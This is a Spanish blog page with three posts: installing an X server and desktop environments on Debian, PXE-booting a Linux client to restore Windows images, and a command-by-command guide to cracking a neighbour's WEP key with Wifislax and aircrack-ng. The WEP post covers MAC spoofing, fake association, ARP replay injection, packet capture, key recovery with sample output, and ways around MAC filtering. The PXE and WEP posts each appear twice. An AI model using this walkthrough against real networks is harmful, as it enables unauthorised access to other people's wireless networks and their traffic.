Lo primero que debemos de hacer después de haber instalado el sistema base es hacer una actualización de todos los paquetes instalados hasta el momento con un simple:
# aptitude update
# aptitude upgrade
Con esto ponemos al dia nuestro sistema base.
Servidor de las X y lo que es un windows manager y como interactúan:
Bueno una vez realizado esto debemos instalar el servidor de las X, poniendo lo siguiente:
# aptitude install x-window-system-core
Para los que tienen Sargen le instala el XFree86 X server y para los que tienen Etch le instala XORG
Nos hará unas cuantas preguntas, pero por ahora escogemos el default
Display Manager
Mientras el aptitude hace su trabajo debemos tomar una decisión, la cual es con que Display Manager voy a usar este es cada vez que prendamos nuestra computadora nos pregunte en forma gráfica el login y el password así que voy a poner los 3 más usados.
Xdm: el más pequeño y trabaja muy bien, altamente configurable
gdm: fácilmente configurable y agregas las librerías que necesitas si vas a usar el manejador de paquetes Synaptic, además contiene muchas más funciones extra de xdm
kdm: el más grande y pesado, para los que le gusta KDE
Asi que puedes escoger cualquiera, los 3 funciona en cualquier entorno de escritorio que elijas. Pero si te gusta gnome elige gdm, o si te gusta KDE elige kdm, o sino puedes elegir xdm si no tienes preferencia así que tipeamos lo siguiente escogiendo el login manager a usar:
# aptitude install display_manager
- donde display_manager tendremos que reemplazarlo por xdm ó gdm ó kdm
Windows Manager y Entorno de Escritorio
Entonces mientras continua el proceso tendremos que tomar otra decisión la cual es instalar solo un Windows Manager(WM) o instalar un Entorno de Escritorio la cual viene con su propio windows manager esto sin embargo no quiere decir que nosotros no podamos cambiarlo, por el contrario nosotros podemos reemplazarlo por el windows manager que queramos.
Bueno primero empezaremos por los Windows Manager para luego terminar con los Entorno de Escritorio ah, recuerde que no voy hablar de todos solo de unos cuantos si desean conocer mas lo puedes ver en http://freedesktop.org/wiki/
Windows Manager
Blackbox
Blackbox es un rápido y liviano Windows manager para las X y esta hecho en C++, su principal ventaja son sus bajos requerimientos de hardware, por lo cual es una de las mejores alternativas para sistemas de pocos recursos o de poca memoria (de 1.5 a 2MB RAM, contra casi 100 de KDE), lo instalamos así:
# apt-get install blackbox
Fluxbox
Fluxbox es otro Window Manager para las X, este esta basado en Blackbox 0.61.1, y yo creo que algunos ya lo hemos utilizado así es, si has usado alguna vez DSL(Damn Small Linux) entonces ya lo conoces y para los que no lo conocen pueden usar el liveCD de DSL para que lo prueben la forma de instalarlo es la siguiente:
# aptitude install fluxbox
Openbox
Openbox es otro windows Manager para las X, en sus inicios estaba basado en blackbox, pero a partir de la versión 3.0 fue reescrito totalmente, está diseñado para ser rápido y consumir una mínima cantidad de recursos, para instalarlo debemos poner: # aptitude install openbox obconf
Icewm:
Icewm es otro windows manager escrito en c++ y es relativamente ligero en términos de memoria y uso de la CPU, lo podemos instalar de la siguiente manera: # aptitude install icewm-lite
si quieres instalar lo mínimo, pero sino puedes poner: # aptitude install icewm
Entorno de Escritorio
Xfce:
Xfce es un ligero entorno de escritorio para UNIX, Linux y derivados. Su configuración es manejada íntegramente con el ratón y los ficheros de configuración son ocultados al usuario. Diseñado para la productividad, se carga y ejecuta aplicaciones rápido, mientras conserva recursos de sistema. Su windows manager es Xfwm4. para instalarlo basta con poner: # aptitude install xfce4
Gnome
Gnome es un entorno de escritorio que biene con muchas cosas, así como estamos tratando de realizar una instalación mínima para después ir instalando las aplicaciones que uno desea, ah por cierto el windows manager de gnome es metacity, para instalar gnome debemos tipear así: # aptitude install gnome-core
Si desean instalar lo mínimo, pero sino podemos instalar lo esencial y en la cual yo les recomiendo a los mas novatos, instalar gnome pero no tan cargado: # aptitude install gnome-desktop-environment
Claro que si queremos instalar todo solo basta con poner: # aptitude install gnome
KDE:
KDE es un entorno gráfico contemporáneo para estaciones de trabajo Unix. KDE llena la necesidad de un escritorio amigable para estaciones de trabajo Unix, similar a los escritorios de MacOS o Windows
Así mismo si queremos instalar lo mínimo solo basta con poner
# aptitude install kdebase
o poner tambien esto para lo esencial
# aptitude install kde-core
ahora si deseamos instalar todo solo basta con poner:
# aptitude install kde
lunes, 6 de julio de 2009
PXE de imágenes de Windows usando Linux
PXE de imágenes de Windows usando Linux
(fuente)
Esta mini aplicación de Linux contiene herramientas como partimage, ntfsresize y fdisk y está basada en torno a la fantástica busybox.
Le permite bootear PXE en un PC dentro de un cliente Linux el cual puede crear una partición NTFS, grabar una imagen del disco de Windows desde la red, escribirlo a un disco local y luego readecuar el tamaño de las particiones. El código NTFS utilizado se considera experimental, por lo que no se dan garantías, pero nunca me ha fallado. Esto es lo que usted necesita para que funcione:
• Un servidor DHCP
• Un servidor TFTP con la imagen de arranque pxelinux
• Un servidor Partimaged (con una imagen de windows almacenada en él)
• Un PC con arranque PXE (PC's más modernos)
Primer paso es configurar el DHCP y servidor TFTP para lograr que el cliente de PXE trabaje. Siga las guías en http://syslinux.zytor.com/pxe.php.
Lo principal es tener una entrada en la configuración de dhcpd, con estas directrices:
next-server TFTP_SERVER_IP_ADDRESS
filename "/ pxelinux.0"
Ahora grabar los archivos: WIUL kernel, RAMdisk y boot.msg. Colocarlos en la raíz del servidor TFTP (/tftpboot).
Hay que editar los parámetros de booteo pasados al núcleo, tal como se define en el archivo 'default' situado en /tftpboot/pxelinux.cfg/default. Probar algo como esto:
default 1
prompt 1
timeout 600
display boot.msg
F1 boot.msg
label 1
kernel wiul-kernel-2.4.31
append initrd=wiul.img.gz rw root=/dev/ram ramdisk_size=65536 vga=1
En esta nueva versión de WIUL el cliente tftp tratar de obtener una imagen de la lista cuando esté booteando. El archivo que va a tratar de obtener es llamado: image.lst
Este debe estar localizado en la raíz del servidor tftp y actualizarse con la lista de imágenes que se dispone. Anotados de a uno por línea. Los comentarios son permitidos y deben comenzar con un #.
Así el servidor tftp debería tener una estructura como esta:
/tftpboot/boot.msg
/tftpboot/image.lst
/tftpboot/pxelinux.0
/tftpboot/wiul-kernel-2.4.31
/tftpboot/wiul.img.gz
/tftpboot/pxelinux.cfg/default
Ahora bien, si todas estas cosas se han configurado correctamente, debería ser capaz de bootear PXE en el cliente de Linux.
Cómo es la imagen de un cliente: hay algunos pasos que tenemos que hacer para tomar para la imagen del cliente.
Hay dos usuarios en WIUL: 1) cliente root y 2) wiul.
Si se registra utilizando:
username: wiul
password: wiul
Se le presentará el menú principal WIUL.
La contraseña de root está configurada para partimage y logeandose en el sistema como root lo llevará a una consola de comandos (shell prompt).
Bienvenido a WIUL
Si has configurado todo correctamente entonces tu cliente debería bootear PXE y presentarles un inicio de sesión. Hay dos usuarios del sistema: wiul y root. La contraseña de root está configurado para partimage y una vez que tú te logees se presentará un terminal de consola (BASH shell prompt). Hay dos ttys disponible
y al hacer click con las teclas CTRL + ALT + F1|F2 debería cambiar entre ellos.
Si se registra como wiul utilizando la contraseña wiul será llevado al menú principal que permite iniciar el proceso de imagen que hará lo siguiente:
1.) Para eliminar o restaurar el mbr ejecute lo siguiente:
/usr/local/sbin/delete_mbr
/usr/local/sbin/restore_mbr
-después, es buena idea re-iniciar el sistema en este punto.
2.) Iniciar La imagen ejecutando lo siguiente después de haber recolectado las entradas de los usuarios:
/usr/local/sbin/wiul-custom/make_ntfs
/usr/local/sbin/wiul-custom/get_image
/usr/local/sbin/wiul-custom/remove_part
/usr/local/sbin/wiul-custom/create_part
/usr/local/sbin/wiul-custom/ntfs_resize
reboot
Scrpits /usr/local/sbin/delete_mbr and /usr/local/sbin/restore_mbr scrub el MBR del disco local y luego reemplacelo con un MBR guardado. Este MBR, tiene una pequeña partición NTFS (11GB) en el comienzo del disco. Esta debería ser espacio suficiente para poner nuestra imagen de Windows, si no necesitas modificar la ramdisk para incluir un MBR que se ajuste a sus necesidades.
Después de restaurar el MBR guardado, lo mejor es reiniciar la máquina y bootear de nuevo el cliente de PXE, esto parece acelerar la próxima etapa considerablemente.
Seleccionando la opción 'imagen de inicio' desde el menú principal siga una vez que haya enterado en todas las opciones:
/usr/local/sbin/wiul-custom/make_ntfs
-para formatear la partición con NTFS. Es posible que este paso pueda ser omitido.
Luego, utilizando el script /usr/local/sbin/wiul-custom/get_image
La imagen de Windows es recuperada, colocada dentro de la partición NTFS.
Cuando esto esté completo, necesitamos cambiar el tamaño de la partición a algo un poco más pequeño utilizando los scripts:
/usr/local/sbin/wiul-custom/remove_part /usr/local/sbin/wiul-custom/create_part y /usr/local/sbin/wiul-custom/ntfs_resize _resize
Lo cual ajustará la tabla de particiones y cambiará el tamaño del sistema de archivos.
Finalmente reiniciar
Usted debe poner una lista de imágenes en su servidor Partimaged en un archivo llamado image.lst en el root del servidor tftp y crear un DNS CNAME llamado pxeboot para apuntar al servidor tftp. La imagen con secuencia de comandos del menú usará esta lista para ayudar al usuario final a decidir qué imagen utilizará. Imágenes que en el archivo deben estar en líneas separadas. Los comentarios deben comenzar con un #
(fuente)
Esta mini aplicación de Linux contiene herramientas como partimage, ntfsresize y fdisk y está basada en torno a la fantástica busybox.
Le permite bootear PXE en un PC dentro de un cliente Linux el cual puede crear una partición NTFS, grabar una imagen del disco de Windows desde la red, escribirlo a un disco local y luego readecuar el tamaño de las particiones. El código NTFS utilizado se considera experimental, por lo que no se dan garantías, pero nunca me ha fallado. Esto es lo que usted necesita para que funcione:
• Un servidor DHCP
• Un servidor TFTP con la imagen de arranque pxelinux
• Un servidor Partimaged (con una imagen de windows almacenada en él)
• Un PC con arranque PXE (PC's más modernos)
Primer paso es configurar el DHCP y servidor TFTP para lograr que el cliente de PXE trabaje. Siga las guías en http://syslinux.zytor.com/pxe.php.
Lo principal es tener una entrada en la configuración de dhcpd, con estas directrices:
next-server TFTP_SERVER_IP_ADDRESS
filename "/ pxelinux.0"
Ahora grabar los archivos: WIUL kernel, RAMdisk y boot.msg. Colocarlos en la raíz del servidor TFTP (/tftpboot).
Hay que editar los parámetros de booteo pasados al núcleo, tal como se define en el archivo 'default' situado en /tftpboot/pxelinux.cfg/default. Probar algo como esto:
default 1
prompt 1
timeout 600
display boot.msg
F1 boot.msg
label 1
kernel wiul-kernel-2.4.31
append initrd=wiul.img.gz rw root=/dev/ram ramdisk_size=65536 vga=1
En esta nueva versión de WIUL el cliente tftp tratar de obtener una imagen de la lista cuando esté booteando. El archivo que va a tratar de obtener es llamado: image.lst
Este debe estar localizado en la raíz del servidor tftp y actualizarse con la lista de imágenes que se dispone. Anotados de a uno por línea. Los comentarios son permitidos y deben comenzar con un #.
Así el servidor tftp debería tener una estructura como esta:
/tftpboot/boot.msg
/tftpboot/image.lst
/tftpboot/pxelinux.0
/tftpboot/wiul-kernel-2.4.31
/tftpboot/wiul.img.gz
/tftpboot/pxelinux.cfg/default
Ahora bien, si todas estas cosas se han configurado correctamente, debería ser capaz de bootear PXE en el cliente de Linux.
Cómo es la imagen de un cliente: hay algunos pasos que tenemos que hacer para tomar para la imagen del cliente.
Hay dos usuarios en WIUL: 1) cliente root y 2) wiul.
Si se registra utilizando:
username: wiul
password: wiul
Se le presentará el menú principal WIUL.
La contraseña de root está configurada para partimage y logeandose en el sistema como root lo llevará a una consola de comandos (shell prompt).
Bienvenido a WIUL
Si has configurado todo correctamente entonces tu cliente debería bootear PXE y presentarles un inicio de sesión. Hay dos usuarios del sistema: wiul y root. La contraseña de root está configurado para partimage y una vez que tú te logees se presentará un terminal de consola (BASH shell prompt). Hay dos ttys disponible
y al hacer click con las teclas CTRL + ALT + F1|F2 debería cambiar entre ellos.
Si se registra como wiul utilizando la contraseña wiul será llevado al menú principal que permite iniciar el proceso de imagen que hará lo siguiente:
1.) Para eliminar o restaurar el mbr ejecute lo siguiente:
/usr/local/sbin/delete_mbr
/usr/local/sbin/restore_mbr
-después, es buena idea re-iniciar el sistema en este punto.
2.) Iniciar La imagen ejecutando lo siguiente después de haber recolectado las entradas de los usuarios:
/usr/local/sbin/wiul-custom/make_ntfs
/usr/local/sbin/wiul-custom/get_image
/usr/local/sbin/wiul-custom/remove_part
/usr/local/sbin/wiul-custom/create_part
/usr/local/sbin/wiul-custom/ntfs_resize
reboot
Scrpits /usr/local/sbin/delete_mbr and /usr/local/sbin/restore_mbr scrub el MBR del disco local y luego reemplacelo con un MBR guardado. Este MBR, tiene una pequeña partición NTFS (11GB) en el comienzo del disco. Esta debería ser espacio suficiente para poner nuestra imagen de Windows, si no necesitas modificar la ramdisk para incluir un MBR que se ajuste a sus necesidades.
Después de restaurar el MBR guardado, lo mejor es reiniciar la máquina y bootear de nuevo el cliente de PXE, esto parece acelerar la próxima etapa considerablemente.
Seleccionando la opción 'imagen de inicio' desde el menú principal siga una vez que haya enterado en todas las opciones:
/usr/local/sbin/wiul-custom/make_ntfs
-para formatear la partición con NTFS. Es posible que este paso pueda ser omitido.
Luego, utilizando el script /usr/local/sbin/wiul-custom/get_image
La imagen de Windows es recuperada, colocada dentro de la partición NTFS.
Cuando esto esté completo, necesitamos cambiar el tamaño de la partición a algo un poco más pequeño utilizando los scripts:
/usr/local/sbin/wiul-custom/remove_part /usr/local/sbin/wiul-custom/create_part y /usr/local/sbin/wiul-custom/ntfs_resize _resize
Lo cual ajustará la tabla de particiones y cambiará el tamaño del sistema de archivos.
Finalmente reiniciar
Usted debe poner una lista de imágenes en su servidor Partimaged en un archivo llamado image.lst en el root del servidor tftp y crear un DNS CNAME llamado pxeboot para apuntar al servidor tftp. La imagen con secuencia de comandos del menú usará esta lista para ayudar al usuario final a decidir qué imagen utilizará. Imágenes que en el archivo deben estar en líneas separadas. Los comentarios deben comenzar con un #
domingo, 5 de julio de 2009
Desencriptar clave wep con wifislax 3.1
Desencriptar clave wep con wifislax 3.1
(fuente)
(usé una tarjeta usb Ralink rausb0) Las tarjetas de red usb zydas, las reconoce automáticamente. También sirven las tarjetas de red Atheros, pero son más escasas
La denominación rausb, cambiaría por eth0 o wlan0, según sea el caso.
Se verifica en la consola:
# ifconfig
# iwconfig
1.- En este caso hay que forzar el chipset ralink (otras las reconoce automáticamente)
menú inicio--> Wifislax-->Asistencia chipset-->Asistencia chipset Ralink-->Forzar chipset ralink rt73 sobre rt2503
nota importante, se van a ocupar 5 consolas abiertas a la vez.
1.- para hacer los cambios de mac y el airmon-ng
2.- para el airodump-ng
3.- para el primer aireplay-ng,
4.- para el segundo aireplay-ng
5.- para el aircrack-ng
2.- # airodump-ng –w "mi_archivo" rausb0
En las capturas aparecerán los AP y los clientes conectados.
Si no inyecta deberás elegir la mac de un cliente asociado para asignarla a nuestra tarjeta usb.
Las capturas, copiarla en un archivo de texto para tenerla a mano. Ya tienes la información de la red wifi que vas a atacar.
O sea: su nombre(essid), su mac(bssid), su channel(puede ser del 1 al 14, típico es el 1 o el 6)
Detectamos:
su mac: 00:32:E8:8D:6A:8A
su nombre: wifivecino
su canal: channel 6
Detener el airodump. ctrl.+C
3.- Entonces, efectuar el cambio de mi mac address:
# ifconfig rausb0 down
# macchanger –mac 00:01:02:03:04:05 rausb0
[Si no inyecta, necesitarás más adelante anotar(cambiarla por) la mac de un cliente real asociado]
# ifconfig rausb0 up
4.- --> #iwconfig mode monitor rausb0
…o tambien puede ser activada con:
# airmon-ng start rausb0
Se comprueba con:
# iwconfig rausb0, aparecerá en mode monitor, previamente estaba en mode Managed
5.- Antes de inyectar mandaremos con rausb0 un paquete de asociación al AP Objetivo:
# aireplay-ng -1 0 -e ESSID_AP -a MAC_AP -h nuestra_MAC rausb0
En nuestro ejemplo:
# aireplay-ng -1 100 -e wifivecino -a 00:32:E8:8D:6A:8A -h 00:11:22:33:44:55 eth0
(esta es una respuesta adecuada, que debiera aparecer en la consola)
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)
6.- Después hacer la inyección real:
#aireplay -3 -b [bssid] -e [essid] -h [00:01:02:03:04:05] rausb0
[si no asocia necesitarás la mac de un cliente asociado]
En nuestro ejemplo:
# aireplay-ng -3 -b 00:32:E8:8D:6A:8A -h 00:11:22:33:44:55 eth0
(esta es una respuesta adecuada, que debiera aparecer en la consola)
Saving ARP requests in replay_arp-0219-123051.cap
You should also start airodump-ng to capture replies.
Read 11978 packets (got 7193 ARP requests), sent 3902 packets...
7.- #airodump-ng rausb0 - -channel [canal X] - -bssid[mac del AP] –w mi_archivo.cap
# airodump-ng --bssid 00:32:F5:4D:6E:A0 –channel 6 -w mi_archivo eth0
8.- sobre 30-50 mil paquetes se puede reci{en comenzar a desencriptar la clave con aircrack.
#aircrack-ptw fichero.cap
En nuestro ejemplo: (hay que darle la ruta exacta donde el Airodump guardó los archivos.cap de captura)
#aircrack-ptw /root/mi_archivo-01.cap
(asi responderá cuando encuentre la clave. Si no ocurre, tener paciencia y capturar más paquetes y volver con la misma orden)
Bienvenido a Aircrack PTW v 1.0.0 (Spanish Build 2)
Pagina oficial: http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
Traduccion y mejoras por: Stilo16v (http://www.seguridadwireless.net)
Buscando una nueva tabla
BSSID = 00:32:E8:8D:6A:8A Keyindex=0
Estadísticas para BSSID 00:32:E8:8D:6A:8A Keyindex=0 Paquetes=74070
Clave encontrada con longitud 05: FF FF 43 98 34
Equivalente en ASCII: ËË4s
Notas al margen:
Si no asocia con aireplay-ng -1 0, muy bien se puede deber a un par de cosas.
No tenemos la señal suficiente (esto deberíamos saberlo con Netstumbler o Swscanner), sigue intentándolo, pero te aseguro que la distancia es importante, intenta acercarte.
Si estas seguro de tener señal suficiente, entonces seguramente el AP tenga Filtro Mac, podremos hackearlo igual, con un par de trucos:
Si te fijas airodump tiene dos apartados, uno para APS Objetivos (la parte de arriba) y otra para clientes conectados (la de abajo), cuestión de esperar a que un cliente con una mac válida se conecte al AP Objetivo y genere trafico, de esta forma sabremos que la MAC es valida para el AP, copiaremos esa MAC y cambiaremos la nuestra por la del cliente con este código:
# ifconfig rausb0 hw ether MAC_del cliente autenticado
Ahora debemos comenzar el proceso exactamente igual pero poniendo nuestra "nueva" MAC.
Cuando inyecta Arp pero no suben los Data es casi seguro que es por distancia, no sube o sube muy lento en relación con los paquetes ARP inyectados, es cuestión de distancia, los paquetes enviados al AP no le llegan.
El caso es que el AP al que estamos conectándonos nos desautentica, se soluciona volviendo a asociarse con:
# aireplay-ng -1 0 -e ESSID_AP -a MAC_AP -h nuestra_MAC rausb0
(fuente)
(usé una tarjeta usb Ralink rausb0) Las tarjetas de red usb zydas, las reconoce automáticamente. También sirven las tarjetas de red Atheros, pero son más escasas
La denominación rausb, cambiaría por eth0 o wlan0, según sea el caso.
Se verifica en la consola:
# ifconfig
# iwconfig
1.- En este caso hay que forzar el chipset ralink (otras las reconoce automáticamente)
menú inicio--> Wifislax-->Asistencia chipset-->Asistencia chipset Ralink-->Forzar chipset ralink rt73 sobre rt2503
nota importante, se van a ocupar 5 consolas abiertas a la vez.
1.- para hacer los cambios de mac y el airmon-ng
2.- para el airodump-ng
3.- para el primer aireplay-ng,
4.- para el segundo aireplay-ng
5.- para el aircrack-ng
2.- # airodump-ng –w "mi_archivo" rausb0
En las capturas aparecerán los AP y los clientes conectados.
Si no inyecta deberás elegir la mac de un cliente asociado para asignarla a nuestra tarjeta usb.
Las capturas, copiarla en un archivo de texto para tenerla a mano. Ya tienes la información de la red wifi que vas a atacar.
O sea: su nombre(essid), su mac(bssid), su channel(puede ser del 1 al 14, típico es el 1 o el 6)
Detectamos:
su mac: 00:32:E8:8D:6A:8A
su nombre: wifivecino
su canal: channel 6
Detener el airodump. ctrl.+C
3.- Entonces, efectuar el cambio de mi mac address:
# ifconfig rausb0 down
# macchanger –mac 00:01:02:03:04:05 rausb0
[Si no inyecta, necesitarás más adelante anotar(cambiarla por) la mac de un cliente real asociado]
# ifconfig rausb0 up
4.- --> #iwconfig mode monitor rausb0
…o tambien puede ser activada con:
# airmon-ng start rausb0
Se comprueba con:
# iwconfig rausb0, aparecerá en mode monitor, previamente estaba en mode Managed
5.- Antes de inyectar mandaremos con rausb0 un paquete de asociación al AP Objetivo:
# aireplay-ng -1 0 -e ESSID_AP -a MAC_AP -h nuestra_MAC rausb0
En nuestro ejemplo:
# aireplay-ng -1 100 -e wifivecino -a 00:32:E8:8D:6A:8A -h 00:11:22:33:44:55 eth0
(esta es una respuesta adecuada, que debiera aparecer en la consola)
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)
6.- Después hacer la inyección real:
#aireplay -3 -b [bssid] -e [essid] -h [00:01:02:03:04:05] rausb0
[si no asocia necesitarás la mac de un cliente asociado]
En nuestro ejemplo:
# aireplay-ng -3 -b 00:32:E8:8D:6A:8A -h 00:11:22:33:44:55 eth0
(esta es una respuesta adecuada, que debiera aparecer en la consola)
Saving ARP requests in replay_arp-0219-123051.cap
You should also start airodump-ng to capture replies.
Read 11978 packets (got 7193 ARP requests), sent 3902 packets...
7.- #airodump-ng rausb0 - -channel [canal X] - -bssid[mac del AP] –w mi_archivo.cap
# airodump-ng --bssid 00:32:F5:4D:6E:A0 –channel 6 -w mi_archivo eth0
8.- sobre 30-50 mil paquetes se puede reci{en comenzar a desencriptar la clave con aircrack.
#aircrack-ptw fichero.cap
En nuestro ejemplo: (hay que darle la ruta exacta donde el Airodump guardó los archivos.cap de captura)
#aircrack-ptw /root/mi_archivo-01.cap
(asi responderá cuando encuentre la clave. Si no ocurre, tener paciencia y capturar más paquetes y volver con la misma orden)
Bienvenido a Aircrack PTW v 1.0.0 (Spanish Build 2)
Pagina oficial: http://www.cdc.informatik.tu-darmstadt.de/aircrack-ptw/
Traduccion y mejoras por: Stilo16v (http://www.seguridadwireless.net)
Buscando una nueva tabla
BSSID = 00:32:E8:8D:6A:8A Keyindex=0
Estadísticas para BSSID 00:32:E8:8D:6A:8A Keyindex=0 Paquetes=74070
Clave encontrada con longitud 05: FF FF 43 98 34
Equivalente en ASCII: ËË4s
Notas al margen:
Si no asocia con aireplay-ng -1 0, muy bien se puede deber a un par de cosas.
No tenemos la señal suficiente (esto deberíamos saberlo con Netstumbler o Swscanner), sigue intentándolo, pero te aseguro que la distancia es importante, intenta acercarte.
Si estas seguro de tener señal suficiente, entonces seguramente el AP tenga Filtro Mac, podremos hackearlo igual, con un par de trucos:
Si te fijas airodump tiene dos apartados, uno para APS Objetivos (la parte de arriba) y otra para clientes conectados (la de abajo), cuestión de esperar a que un cliente con una mac válida se conecte al AP Objetivo y genere trafico, de esta forma sabremos que la MAC es valida para el AP, copiaremos esa MAC y cambiaremos la nuestra por la del cliente con este código:
# ifconfig rausb0 hw ether MAC_del cliente autenticado
Ahora debemos comenzar el proceso exactamente igual pero poniendo nuestra "nueva" MAC.
Cuando inyecta Arp pero no suben los Data es casi seguro que es por distancia, no sube o sube muy lento en relación con los paquetes ARP inyectados, es cuestión de distancia, los paquetes enviados al AP no le llegan.
El caso es que el AP al que estamos conectándonos nos desautentica, se soluciona volviendo a asociarse con:
# aireplay-ng -1 0 -e ESSID_AP -a MAC_AP -h nuestra_MAC rausb0
Suscribirse a:
Entradas (Atom)
